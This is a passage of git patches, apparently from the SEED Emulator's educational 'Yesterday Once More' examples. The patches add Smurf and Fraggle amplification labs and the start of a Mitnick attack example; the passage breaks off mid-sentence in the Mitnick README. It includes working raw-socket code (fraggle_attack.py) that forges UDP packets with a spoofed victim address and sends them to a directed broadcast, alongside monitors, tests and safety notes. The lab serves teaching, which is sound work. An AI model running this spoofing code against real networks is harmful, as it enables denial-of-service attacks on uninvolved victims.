estimated_request_bytes = max(expected_requests, 0) * max(request_size, 1) + byte_amplification = total_bytes / max(estimated_request_bytes, 1) + + print("NTP-LIKE AMPLIFICATION MONITOR") + print("==============================") + print("Victim view: UDP responses from lab amplifiers") + print() + print(f"elapsed seconds : {elapsed:0.1f}") + print(f"expected trigger requests : {expected_requests}") + print(f"estimated request bytes : {estimated_request_bytes}") + print(f"UDP packets received : {packet_count}") + print(f"total response bytes : {total_bytes}") + print(f"unique amplifiers : {unique_sources}") + print(f"estimated byte amp : {byte_amplification:0.1f}x") + print(f"packets in last window : {packets_last_window}") + print(f"bytes in last window : {bytes_last_window}") + print() + print("Top amplifiers") + print("--------------") + if not packets_by_source: + print("(no UDP responses yet)") + else: + for source, packets in packets_by_source.most_common(12): + print(f"{source:<16} {packets:>5} packets {bytes_by_source[source]:>8} bytes") + print() + print("Start this monitor on the victim, then trigger the attack from AS150.") + print(flush=True) + + +def main() -> int: + args = parse_args() + + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.bind((args.host, args.port)) + sock.settimeout(0.2) + + packets_by_source: Counter[str] = Counter() + bytes_by_source: DefaultDict[str, int] = defaultdict(int) + packet_count = 0 + total_bytes = 0 + previous_packet_count = 0 + previous_total_bytes = 0 + started = time.monotonic() + next_render = started + + while True: + now = time.monotonic() + elapsed = now - started + if elapsed >= args.duration: + break + + try: + payload, source = sock.recvfrom(65535) + except socket.timeout: + payload = b"" + source = ("", 0) + + if payload: + source_ip = source[0] + packet_count += 1 + total_bytes += len(payload) + packets_by_source[source_ip] += 1 + bytes_by_source[source_ip] += len(payload) + + now = time.monotonic() + if now >= next_render: + render( + elapsed=now - started, + packet_count=packet_count, + previous_packet_count=previous_packet_count, + total_bytes=total_bytes, + previous_total_bytes=previous_total_bytes, + packets_by_source=packets_by_source, + bytes_by_source=bytes_by_source, + expected_requests=args.expected_requests, + request_size=args.request_size, + clear=not args.no_clear, + ) + previous_packet_count = packet_count + previous_total_bytes = total_bytes + next_render = now + args.refresh + + render( + elapsed=time.monotonic() - started, + packet_count=packet_count, + previous_packet_count=previous_packet_count, + total_bytes=total_bytes, + previous_total_bytes=previous_total_bytes, + packets_by_source=packets_by_source, + bytes_by_source=bytes_by_source, + expected_requests=args.expected_requests, + request_size=args.request_size, + clear=not args.no_clear, + ) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) From d133b7eef05945ed72063bf98e14dabc95fbb689 Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sun, 5 Jul 2026 19:09:05 +0800 Subject: [PATCH 04/33] updated the readme --- examples/yesterday_once_more/Y10_ntp_amplification/README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/README.md b/examples/yesterday_once_more/Y10_ntp_amplification/README.md index e32d41218..37e695833 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/README.md +++ b/examples/yesterday_once_more/Y10_ntp_amplification/README.md @@ -34,7 +34,9 @@ installs a live UDP amplification dashboard on AS151 `host_0`: /opt/ntp-like/visualize_attack.py ``` -Start the dashboard on the victim first: +Start the dashboard on the victim first (the `udp_sink.py` is already running +on the victim host, and it uses the same port 9000 as the `visualize_attack.py`, +so we need to stop `udp_sink.py` first): ```sh docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ From 6289cbef4e1233babececbd7f43c62a3d92548ae Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Thu, 9 Jul 2026 11:38:43 +0800 Subject: [PATCH 05/33] updated smurf attack --- examples/yesterday_once_more/README.md | 1 + .../Y11_smurf_attack/README.md | 90 ++++++- .../Y11_smurf_attack/example.yaml | 8 +- .../Y11_smurf_attack/fraggle_amplifier.py | 93 +++++++ .../Y11_smurf_attack/fraggle_attack.py | 124 +++++++++ .../Y11_smurf_attack/fraggle_monitor.py | 67 +++++ .../Y11_smurf_attack/smurf_attack_example.py | 23 +- .../Y11_smurf_attack/test_runtime.py | 36 +++ .../Y11_smurf_attack/trigger_attack.sh | 35 ++- .../Y11_smurf_attack/visualize_attack.py | 51 +++- .../Y12_mitnick_attack/README.md | 68 +++++ .../Y12_mitnick_attack/tcp_sequence_oracle.py | 248 ++++++++++++++++++ 12 files changed, 818 insertions(+), 26 deletions(-) create mode 100644 examples/yesterday_once_more/Y11_smurf_attack/fraggle_amplifier.py create mode 100644 examples/yesterday_once_more/Y11_smurf_attack/fraggle_attack.py create mode 100644 examples/yesterday_once_more/Y11_smurf_attack/fraggle_monitor.py create mode 100644 examples/yesterday_once_more/Y12_mitnick_attack/README.md create mode 100644 examples/yesterday_once_more/Y12_mitnick_attack/tcp_sequence_oracle.py diff --git a/examples/yesterday_once_more/README.md b/examples/yesterday_once_more/README.md index 40ffa75e3..bc028c034 100644 --- a/examples/yesterday_once_more/README.md +++ b/examples/yesterday_once_more/README.md @@ -9,3 +9,4 @@ We recreate some of the notorious Internet attacks and incidents: - Y05_sql_slammer - Y10_ntp_amplification - Y11_smurf_attack +- Y12_mitnick_attack diff --git a/examples/yesterday_once_more/Y11_smurf_attack/README.md b/examples/yesterday_once_more/Y11_smurf_attack/README.md index 6d2559ba4..e6fe35617 100644 --- a/examples/yesterday_once_more/Y11_smurf_attack/README.md +++ b/examples/yesterday_once_more/Y11_smurf_attack/README.md @@ -1,7 +1,8 @@ -# Y11: Smurf Attack +# Y11: Smurf and Fraggle Attacks This example recreates the core mechanism of the historical Smurf attack inside -a controlled SEED Emulator lab. +a controlled SEED Emulator lab. It also includes the closely related Fraggle +attack, which uses UDP broadcast replies instead of ICMP echo replies. The example uses the mini-Internet topology from `examples/internet/B00_mini_internet`. It then turns AS152 into a vulnerable @@ -10,12 +11,18 @@ requests to AS152's directed broadcast address while spoofing the victim's source IP address. Hosts on the AS152 LAN respond to the victim, amplifying the attacker's traffic. +The Fraggle variant uses the same topology and directed-broadcast behavior, but +the attacker sends spoofed UDP packets to the AS152 directed broadcast address. +Each AS152 host runs a bounded UDP chargen-like lab daemon and sends a UDP +reply to the spoofed victim address. + ## Roles - AS150 `host_0`: attacker. - AS151 `host_0`: victim. - AS152 `router0`: vulnerable router with directed broadcast forwarding enabled. -- AS152 `host_0` ... `host_N`: amplifier hosts that respond to broadcast pings. +- AS152 `host_0` ... `host_N`: amplifier hosts that respond to broadcast pings + and run the UDP Fraggle amplifier daemon. The default directed broadcast address is: @@ -29,6 +36,18 @@ The default spoofed victim address is: 10.151.0.71 ``` +The default Fraggle UDP service port is: + +```text +19 +``` + +The default victim-side UDP reply port is: + +```text +7000 +``` + ## How The Attack Is Enabled A Smurf attack needs three technical conditions. Modern networks usually break @@ -73,10 +92,21 @@ the AS152 amplifier hosts with: sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=0 ``` -When the spoofed packet reaches the AS152 LAN, many AS152 hosts receive the +For Smurf, when the spoofed packet reaches the AS152 LAN, many AS152 hosts receive the same broadcast echo request. Each host sends an ICMP echo reply to the spoofed source address, so the replies go to AS151 `host_0`, the victim. +For Fraggle, each AS152 host also runs: + +```text +/opt/smurf-lab/fraggle_amplifier.py +``` + +This is a small lab-only UDP daemon. It listens on UDP port `19`, accepts lab +traffic from `10.*` addresses, and sends a bounded chargen-like response back +to the packet source. When the attacker spoofs the source address as the +victim, all amplifier replies go to AS151 `host_0`. + The amplification factor depends mainly on the number of AS152 hosts. If `--target-hosts 30` is used, one spoofed broadcast request can produce replies from many of those 30 hosts. @@ -89,9 +119,17 @@ The runtime test uses: on the victim to count ICMP echo replies from the AS152 prefix. +It also uses: + +```text +/opt/smurf-lab/fraggle_monitor.py +``` + +to count UDP replies sent by the Fraggle amplifier hosts. + ## Visualizing The Attack -The best way to see the Smurf effect is from the victim's point of view. Y11 +The best way to see the amplification effect is from the victim's point of view. Y11 installs a live dashboard on AS151 `host_0`: ```text @@ -112,6 +150,20 @@ docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ /opt/smurf-lab/trigger_attack.sh --count 3 ``` +For Fraggle, start the UDP dashboard on the victim: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + /opt/smurf-lab/visualize_attack.py --mode fraggle --duration 20 --request-count 3 +``` + +Then trigger the UDP broadcast attack from AS150: + +```sh +docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ + /opt/smurf-lab/trigger_attack.sh --mode fraggle --count 3 +``` + The dashboard shows the attack as amplification: ```text @@ -168,6 +220,13 @@ docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ /opt/smurf-lab/trigger_attack.sh --count 3 ``` +To run the Fraggle variant: + +```sh +docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ + /opt/smurf-lab/trigger_attack.sh --mode fraggle --count 3 +``` + To observe victim-side replies, start the monitor on AS151 before triggering the attack. For a live dashboard, use: @@ -176,6 +235,13 @@ docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ /opt/smurf-lab/visualize_attack.py --duration 20 --request-count 3 ``` +For the Fraggle dashboard: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + /opt/smurf-lab/visualize_attack.py --mode fraggle --duration 20 --request-count 3 +``` + For a compact JSON summary, use: ```sh @@ -183,6 +249,13 @@ docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ sh -lc 'python3 /opt/smurf-lab/smurf_monitor.py --duration 10' ``` +For the Fraggle JSON summary: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + sh -lc 'python3 /opt/smurf-lab/fraggle_monitor.py --duration 10 --port 7000' +``` + ## Standard Test Runner This example follows the `examples/sample` pattern: @@ -199,8 +272,13 @@ The runtime test verifies: - AS152 hosts respond to broadcast ICMP echo requests; - the victim receives multiple ICMP echo replies after the attacker sends spoofed echo requests to `10.152.0.255`. +- AS152 hosts run the bounded UDP Fraggle amplifier daemon; +- the victim receives multiple UDP replies after the attacker sends spoofed UDP + requests to `10.152.0.255:19`. ## Safety Run this only inside an isolated emulator. The example deliberately recreates an -unsafe historical router behavior that modern routers normally disable. +unsafe historical router behavior that modern routers normally disable. The +Fraggle UDP service is a lab daemon with bounded response size and lab-prefix +filtering; it is not intended to be exposed outside the emulator. diff --git a/examples/yesterday_once_more/Y11_smurf_attack/example.yaml b/examples/yesterday_once_more/Y11_smurf_attack/example.yaml index 2fc984d1e..bf26f77f9 100644 --- a/examples/yesterday_once_more/Y11_smurf_attack/example.yaml +++ b/examples/yesterday_once_more/Y11_smurf_attack/example.yaml @@ -1,6 +1,6 @@ id: yesterday-y11-smurf-attack -name: Smurf Attack -description: B00 mini-Internet topology with a vulnerable directed-broadcast LAN. +name: Smurf and Fraggle Attacks +description: B00 mini-Internet topology with a vulnerable directed-broadcast LAN for ICMP and UDP amplification. runner: internet script: smurf_attack_example.py platform: amd @@ -9,6 +9,8 @@ features: - directed-broadcast - icmp-broadcast-reply - spoofed-icmp + - udp-broadcast-reply + - spoofed-udp compile: enabled: true @@ -57,6 +59,6 @@ probes: interval: 5 test_programs: - - name: Y11 Smurf attack runtime validation + - name: Y11 Smurf and Fraggle runtime validation script: test_runtime.py timeout: 300 diff --git a/examples/yesterday_once_more/Y11_smurf_attack/fraggle_amplifier.py b/examples/yesterday_once_more/Y11_smurf_attack/fraggle_amplifier.py new file mode 100644 index 000000000..95f4c34dc --- /dev/null +++ b/examples/yesterday_once_more/Y11_smurf_attack/fraggle_amplifier.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python3 +"""Bounded UDP echo/chargen-like amplifier for the Y11 Fraggle lab.""" + +from __future__ import annotations + +import argparse +import socket +import time + + +def allowed(address: str, prefixes: list[str]) -> bool: + return any(address.startswith(prefix) for prefix in prefixes) + + +def build_response(mode: str, request: bytes, response_size: int) -> bytes: + if mode == "echo": + if request: + return request[:response_size] + return b"SEED-FRAGGLE-LAB\n" + + alphabet = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" + prefix = b"SEED-FRAGGLE-LAB-CHARGEN " + body = prefix + alphabet + b"\n" + repeats = (response_size // len(body)) + 1 + return (body * repeats)[:response_size] + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Run a lab-only UDP amplifier daemon.") + parser.add_argument("--host", default="0.0.0.0") + parser.add_argument("--port", type=int, default=19, help="UDP port to listen on") + parser.add_argument("--mode", choices=["echo", "chargen"], default="chargen") + parser.add_argument("--response-size", type=int, default=512) + parser.add_argument("--max-response-size", type=int, default=1200) + parser.add_argument("--allowed-prefix", action="append", default=["10."]) + parser.add_argument("--log", default="/var/log/fraggle-amplifier.log") + return parser.parse_args() + + +def main() -> int: + args = parse_args() + response_size = max(1, min(args.response_size, args.max_response_size)) + + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) + sock.bind((args.host, args.port)) + + with open(args.log, "a", encoding="utf-8") as log: + print( + "fraggle amplifier listening udp://{}:{} mode={} response_size={}".format( + args.host, + args.port, + args.mode, + response_size, + ), + file=log, + flush=True, + ) + + while True: + data, client = sock.recvfrom(65535) + client_ip, client_port = client + if not allowed(client_ip, args.allowed_prefix): + print( + "{} ignored request from {}:{} bytes={}".format( + time.time(), + client_ip, + client_port, + len(data), + ), + file=log, + flush=True, + ) + continue + + response = build_response(args.mode, data, response_size) + sock.sendto(response, client) + print( + "{} replied to {}:{} request_bytes={} response_bytes={}".format( + time.time(), + client_ip, + client_port, + len(data), + len(response), + ), + file=log, + flush=True, + ) + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y11_smurf_attack/fraggle_attack.py b/examples/yesterday_once_more/Y11_smurf_attack/fraggle_attack.py new file mode 100644 index 000000000..bd35f0300 --- /dev/null +++ b/examples/yesterday_once_more/Y11_smurf_attack/fraggle_attack.py @@ -0,0 +1,124 @@ +#!/usr/bin/env python3 +"""Send lab-only Fraggle-style UDP packets to a directed broadcast address.""" + +from __future__ import annotations + +import argparse +import os +import socket +import struct +import sys +import time + + +def checksum(data: bytes) -> int: + if len(data) % 2: + data += b"\x00" + total = sum(struct.unpack("!{}H".format(len(data) // 2), data)) + total = (total >> 16) + (total & 0xFFFF) + total += total >> 16 + return (~total) & 0xFFFF + + +def build_udp_packet(source: str, destination: str, source_port: int, destination_port: int, payload: bytes) -> bytes: + length = 8 + len(payload) + pseudo_header = ( + socket.inet_aton(source) + + socket.inet_aton(destination) + + struct.pack("!BBH", 0, socket.IPPROTO_UDP, length) + ) + udp_header = struct.pack("!HHHH", source_port, destination_port, length, 0) + udp_checksum = checksum(pseudo_header + udp_header + payload) + if udp_checksum == 0: + udp_checksum = 0xFFFF + return struct.pack("!HHHH", source_port, destination_port, length, udp_checksum) + payload + + +def build_ipv4_packet(source: str, destination: str, payload: bytes, packet_id: int) -> bytes: + version_ihl = (4 << 4) + 5 + total_length = 20 + len(payload) + header = struct.pack( + "!BBHHHBBH4s4s", + version_ihl, + 0, + total_length, + packet_id, + 0, + 64, + socket.IPPROTO_UDP, + 0, + socket.inet_aton(source), + socket.inet_aton(destination), + ) + header_checksum = checksum(header) + header = struct.pack( + "!BBHHHBBH4s4s", + version_ihl, + 0, + total_length, + packet_id, + 0, + 64, + socket.IPPROTO_UDP, + header_checksum, + socket.inet_aton(source), + socket.inet_aton(destination), + ) + return header + payload + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Trigger a lab-only Fraggle-style attack.") + parser.add_argument("--broadcast", default="10.152.0.255", help="directed broadcast address") + parser.add_argument("--victim", default="10.151.0.71", help="spoofed victim source address") + parser.add_argument("--source-port", type=int, default=7000, help="victim UDP port to receive replies") + parser.add_argument("--destination-port", type=int, default=19, help="amplifier UDP service port") + parser.add_argument("--count", type=int, default=3, help="number of spoofed UDP requests") + parser.add_argument("--interval", type=float, default=0.2, help="seconds between requests") + parser.add_argument("--payload-size", type=int, default=16, help="UDP payload size in bytes") + return parser.parse_args() + + +def main() -> int: + args = parse_args() + packet_id = os.getpid() & 0xFFFF + + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) + sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) + except PermissionError: + print("raw socket permission denied; run inside a container with CAP_NET_RAW", file=sys.stderr) + return 2 + + for sequence in range(1, args.count + 1): + payload = ("SEED-FRAGGLE-LAB-{}".format(sequence)).encode("ascii") + payload = (payload * ((args.payload_size // len(payload)) + 1))[: args.payload_size] + udp = build_udp_packet( + args.victim, + args.broadcast, + args.source_port, + args.destination_port, + payload, + ) + packet = build_ipv4_packet(args.victim, args.broadcast, udp, packet_id=packet_id + sequence) + sock.sendto(packet, (args.broadcast, args.destination_port)) + print( + "sent spoofed udp_request seq={} source={}:{} destination={}:{} bytes={}".format( + sequence, + args.victim, + args.source_port, + args.broadcast, + args.destination_port, + len(packet), + ), + flush=True, + ) + if sequence != args.count: + time.sleep(args.interval) + + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y11_smurf_attack/fraggle_monitor.py b/examples/yesterday_once_more/Y11_smurf_attack/fraggle_monitor.py new file mode 100644 index 000000000..b71be8d60 --- /dev/null +++ b/examples/yesterday_once_more/Y11_smurf_attack/fraggle_monitor.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python3 +"""Count UDP replies that arrive at the Fraggle victim.""" + +from __future__ import annotations + +import argparse +import json +import socket +import time +from collections import Counter + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Monitor UDP replies at the Fraggle victim.") + parser.add_argument("--duration", type=float, default=8.0) + parser.add_argument("--source-prefix", default="10.152.0.", help="count replies from this source prefix") + parser.add_argument("--port", type=int, default=7000, help="victim UDP port") + parser.add_argument("--output", default="/tmp/fraggle-monitor.json") + return parser.parse_args() + + +def main() -> int: + args = parse_args() + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind(("0.0.0.0", args.port)) + sock.settimeout(0.5) + + deadline = time.monotonic() + args.duration + sources: Counter[str] = Counter() + bytes_by_source: Counter[str] = Counter() + total_udp = 0 + + while time.monotonic() < deadline: + try: + data, client = sock.recvfrom(65535) + except socket.timeout: + continue + + source = client[0] + total_udp += 1 + if source.startswith(args.source_prefix): + sources[source] += 1 + bytes_by_source[source] += len(data) + + summary = { + "duration": args.duration, + "source_prefix": args.source_prefix, + "listen_port": args.port, + "reply_count": sum(sources.values()), + "reply_bytes": sum(bytes_by_source.values()), + "unique_reply_sources": sorted(sources), + "replies_by_source": dict(sorted(sources.items())), + "bytes_by_source": dict(sorted(bytes_by_source.items())), + "total_udp_seen": total_udp, + } + + with open(args.output, "w", encoding="utf-8") as handle: + json.dump(summary, handle, indent=2, sort_keys=True) + handle.write("\n") + + print(json.dumps(summary, indent=2, sort_keys=True)) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py b/examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py index 4f578ab10..7eaa5e027 100644 --- a/examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py +++ b/examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py @@ -27,6 +27,7 @@ TARGET_ROUTER = "router0" TARGET_NETWORK = "net0" SMURF_DIR = "/opt/smurf-lab" +FRAGGLE_PORT = 19 def parse_args() -> argparse.Namespace: @@ -96,28 +97,46 @@ def configure_directed_broadcast_router(router: Node) -> None: def configure_target_host(host: Node) -> None: + host.addSoftware("python3") + prepare_smurf_dir(host) + install_file(host, "fraggle_amplifier.py", "fraggle_amplifier.py") host.appendStartCommand("sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=0") host.appendStartCommand("sysctl -w net.ipv4.conf.all.rp_filter=0") host.appendStartCommand("sysctl -w net.ipv4.conf.default.rp_filter=0") + host.appendStartCommand(f"chmod +x {SMURF_DIR}/fraggle_amplifier.py") + host.appendStartCommand( + "python3 {}/fraggle_amplifier.py --port {} --mode chargen --response-size 512 " + ">> /var/log/fraggle-amplifier-supervisor.log 2>&1".format(SMURF_DIR, FRAGGLE_PORT), + fork=True, + ) host.appendClassName("SmurfAmplifierHost") + host.appendClassName("FraggleAmplifierHost") def configure_attacker(host: Node) -> None: host.addSoftware("python3") prepare_smurf_dir(host) install_file(host, "smurf_attack.py", "smurf_attack.py") + install_file(host, "fraggle_attack.py", "fraggle_attack.py") install_file(host, "trigger_attack.sh", "trigger_attack.sh") - host.appendStartCommand(f"chmod +x {SMURF_DIR}/smurf_attack.py {SMURF_DIR}/trigger_attack.sh") + host.appendStartCommand( + f"chmod +x {SMURF_DIR}/smurf_attack.py {SMURF_DIR}/fraggle_attack.py {SMURF_DIR}/trigger_attack.sh" + ) host.appendClassName("SmurfAttacker") + host.appendClassName("FraggleAttacker") def configure_victim(host: Node) -> None: host.addSoftware("python3") prepare_smurf_dir(host) install_file(host, "smurf_monitor.py", "smurf_monitor.py") + install_file(host, "fraggle_monitor.py", "fraggle_monitor.py") install_file(host, "visualize_attack.py", "visualize_attack.py") - host.appendStartCommand(f"chmod +x {SMURF_DIR}/smurf_monitor.py {SMURF_DIR}/visualize_attack.py") + host.appendStartCommand( + f"chmod +x {SMURF_DIR}/smurf_monitor.py {SMURF_DIR}/fraggle_monitor.py {SMURF_DIR}/visualize_attack.py" + ) host.appendClassName("SmurfVictim") + host.appendClassName("FraggleVictim") def customize_b00_for_smurf(emu: Emulator, target_hosts: int, hosts_per_as: int) -> None: diff --git a/examples/yesterday_once_more/Y11_smurf_attack/test_runtime.py b/examples/yesterday_once_more/Y11_smurf_attack/test_runtime.py index 9835235d2..673dee58b 100644 --- a/examples/yesterday_once_more/Y11_smurf_attack/test_runtime.py +++ b/examples/yesterday_once_more/Y11_smurf_attack/test_runtime.py @@ -7,6 +7,8 @@ MONITOR_OUTPUT = "/tmp/smurf-monitor.json" MONITOR_LOG = "/tmp/smurf-monitor.log" +FRAGGLE_MONITOR_OUTPUT = "/tmp/fraggle-monitor.json" +FRAGGLE_MONITOR_LOG = "/tmp/fraggle-monitor.log" def main() -> int: @@ -37,6 +39,13 @@ def main() -> int: retries=30, interval=3, ) + test.exec_check( + "{} runs the UDP Fraggle amplifier daemon".format(service.name), + service, + "pgrep -f 'fraggle_amplifier.py' >/dev/null", + retries=30, + interval=3, + ) if victim and attacker: test.exec_check( @@ -65,6 +74,33 @@ def main() -> int: retries=1, interval=1, ) + test.exec_check( + "victim starts UDP reply monitor", + victim, + "rm -f {out} {log}; " + "(python3 /opt/smurf-lab/fraggle_monitor.py --duration 8 --port 7000 --output {out} > {log} 2>&1 &) ; " + "sleep 1".format(out=FRAGGLE_MONITOR_OUTPUT, log=FRAGGLE_MONITOR_LOG), + retries=1, + interval=1, + ) + test.exec_check( + "attacker sends spoofed UDP requests to AS152 directed broadcast", + attacker, + "/opt/smurf-lab/trigger_attack.sh --mode fraggle --count 3 --interval 0.2 --source-port 7000", + retries=10, + interval=2, + ) + test.exec_check( + "victim receives multiple reflected UDP replies", + victim, + "for i in $(seq 1 12); do [ -s {out} ] && break; sleep 1; done; " + "python3 -c \"import json; d=json.load(open('{out}')); " + "assert d['reply_count'] >= 6, d; " + "assert d['reply_bytes'] >= d['reply_count'] * 64, d; " + "assert len(d['unique_reply_sources']) >= 2, d\"".format(out=FRAGGLE_MONITOR_OUTPUT), + retries=1, + interval=1, + ) test.write_summary("y11-smurf-attack-runtime-test.json") return test.exit_code() diff --git a/examples/yesterday_once_more/Y11_smurf_attack/trigger_attack.sh b/examples/yesterday_once_more/Y11_smurf_attack/trigger_attack.sh index 587eb2a6d..2b1f7b0ea 100644 --- a/examples/yesterday_once_more/Y11_smurf_attack/trigger_attack.sh +++ b/examples/yesterday_once_more/Y11_smurf_attack/trigger_attack.sh @@ -1,7 +1,38 @@ -#!/bin/sh +#!/usr/bin/env bash set -eu +MODE=smurf +ARGS=() + +while [ "$#" -gt 0 ]; do + case "$1" in + --mode) + MODE="$2" + shift 2 + ;; + --mode=*) + MODE="${1#--mode=}" + shift + ;; + *) + ARGS+=("$1") + shift + ;; + esac +done + # Run this inside the attacker container. Defaults: # - victim: AS151 host_0, 10.151.0.71 # - vulnerable directed-broadcast LAN: AS152, 10.152.0.255 -python3 /opt/smurf-lab/smurf_attack.py "$@" +case "$MODE" in + smurf|icmp) + python3 /opt/smurf-lab/smurf_attack.py "${ARGS[@]}" + ;; + fraggle|udp) + python3 /opt/smurf-lab/fraggle_attack.py "${ARGS[@]}" + ;; + *) + echo "unknown mode: $MODE" >&2 + exit 2 + ;; +esac diff --git a/examples/yesterday_once_more/Y11_smurf_attack/visualize_attack.py b/examples/yesterday_once_more/Y11_smurf_attack/visualize_attack.py index 09833472b..cf9f37284 100644 --- a/examples/yesterday_once_more/Y11_smurf_attack/visualize_attack.py +++ b/examples/yesterday_once_more/Y11_smurf_attack/visualize_attack.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -"""Live victim-side dashboard for the Smurf attack example.""" +"""Live victim-side dashboard for the Smurf/Fraggle attack example.""" from __future__ import annotations @@ -11,10 +11,12 @@ def parse_args() -> argparse.Namespace: - parser = argparse.ArgumentParser(description="Visualize Smurf amplification at the victim.") + parser = argparse.ArgumentParser(description="Visualize directed-broadcast amplification at the victim.") + parser.add_argument("--mode", choices=["smurf", "fraggle"], default="smurf") parser.add_argument("--duration", type=float, default=20.0) parser.add_argument("--source-prefix", default="10.152.0.", help="amplifier source prefix") parser.add_argument("--request-count", type=int, default=3, help="spoofed requests expected") + parser.add_argument("--udp-port", type=int, default=7000, help="victim UDP port for Fraggle replies") parser.add_argument("--refresh", type=float, default=1.0, help="dashboard refresh interval") parser.add_argument("--no-clear", action="store_true", help="do not clear the terminal between updates") return parser.parse_args() @@ -34,6 +36,7 @@ def parse_icmp(packet: bytes) -> tuple[str, int] | None: def render( + mode: str, elapsed: float, total_replies: int, previous_total: int, @@ -41,6 +44,7 @@ def render( request_count: int, source_prefix: str, clear: bool, + total_bytes: int = 0, ) -> None: if clear: os.system("clear") @@ -49,16 +53,21 @@ def render( replies_per_second = total_replies - previous_total amplification = total_replies / max(request_count, 1) - print("SMURF ATTACK MONITOR") - print("====================") - print(f"Victim view: ICMP echo replies from {source_prefix}*") + title = "SMURF ATTACK MONITOR" if mode == "smurf" else "FRAGGLE ATTACK MONITOR" + protocol = "ICMP echo replies" if mode == "smurf" else "UDP replies" + + print(title) + print("=" * len(title)) + print(f"Victim view: {protocol} from {source_prefix}*") print() print(f"elapsed seconds : {elapsed:0.1f}") print(f"spoofed requests : {request_count}") - print(f"ICMP replies received : {total_replies}") + print(f"{protocol} received".ljust(24) + f": {total_replies}") print(f"unique amplifier hosts : {unique_sources}") print(f"estimated amplification: {amplification:0.1f}x") print(f"replies in last window : {replies_per_second}") + if mode == "fraggle": + print(f"UDP response bytes : {total_bytes}") print() print("Top replying hosts") print("------------------") @@ -68,17 +77,23 @@ def render( for source, count in sources.most_common(12): print(f"{source:<16} {count:>5} replies") print() - print("Start this monitor on the victim, then trigger the attack from AS150.") + print("Start this monitor on the victim, then trigger the matching attack from AS150.") print(flush=True) def main() -> int: args = parse_args() - sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) + if args.mode == "smurf": + sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) + else: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind(("0.0.0.0", args.udp_port)) sock.settimeout(0.2) sources: Counter[str] = Counter() + bytes_by_source: Counter[str] = Counter() started = time.monotonic() next_render = started previous_total = 0 @@ -90,21 +105,28 @@ def main() -> int: break try: - packet, _ = sock.recvfrom(65535) + packet, client = sock.recvfrom(65535) except socket.timeout: packet = b"" if packet: - parsed = parse_icmp(packet) - if parsed is not None: - source, icmp_type = parsed - if icmp_type == 0 and source.startswith(args.source_prefix): + if args.mode == "smurf": + parsed = parse_icmp(packet) + if parsed is not None: + source, icmp_type = parsed + if icmp_type == 0 and source.startswith(args.source_prefix): + sources[source] += 1 + else: + source = client[0] + if source.startswith(args.source_prefix): sources[source] += 1 + bytes_by_source[source] += len(packet) now = time.monotonic() if now >= next_render: total = sum(sources.values()) render( + mode=args.mode, elapsed=now - started, total_replies=total, previous_total=previous_total, @@ -112,12 +134,14 @@ def main() -> int: request_count=args.request_count, source_prefix=args.source_prefix, clear=not args.no_clear, + total_bytes=sum(bytes_by_source.values()), ) previous_total = total next_render = now + args.refresh total = sum(sources.values()) render( + mode=args.mode, elapsed=time.monotonic() - started, total_replies=total, previous_total=previous_total, @@ -125,6 +149,7 @@ def main() -> int: request_count=args.request_count, source_prefix=args.source_prefix, clear=not args.no_clear, + total_bytes=sum(bytes_by_source.values()), ) return 0 diff --git a/examples/yesterday_once_more/Y12_mitnick_attack/README.md b/examples/yesterday_once_more/Y12_mitnick_attack/README.md new file mode 100644 index 000000000..dbce642b0 --- /dev/null +++ b/examples/yesterday_once_more/Y12_mitnick_attack/README.md @@ -0,0 +1,68 @@ +# Y12: Mitnick Attack Support Tools + +This folder starts with a lab-only TCP sequence oracle for demonstrating why +predictable TCP sequence numbers made old IP-based trust attacks possible. + +Modern Linux TCP sequence numbers are randomized, so this helper gives the +attacker controlled visibility into selected TCP metadata on the target LAN. +It is intended only for isolated SEED Emulator 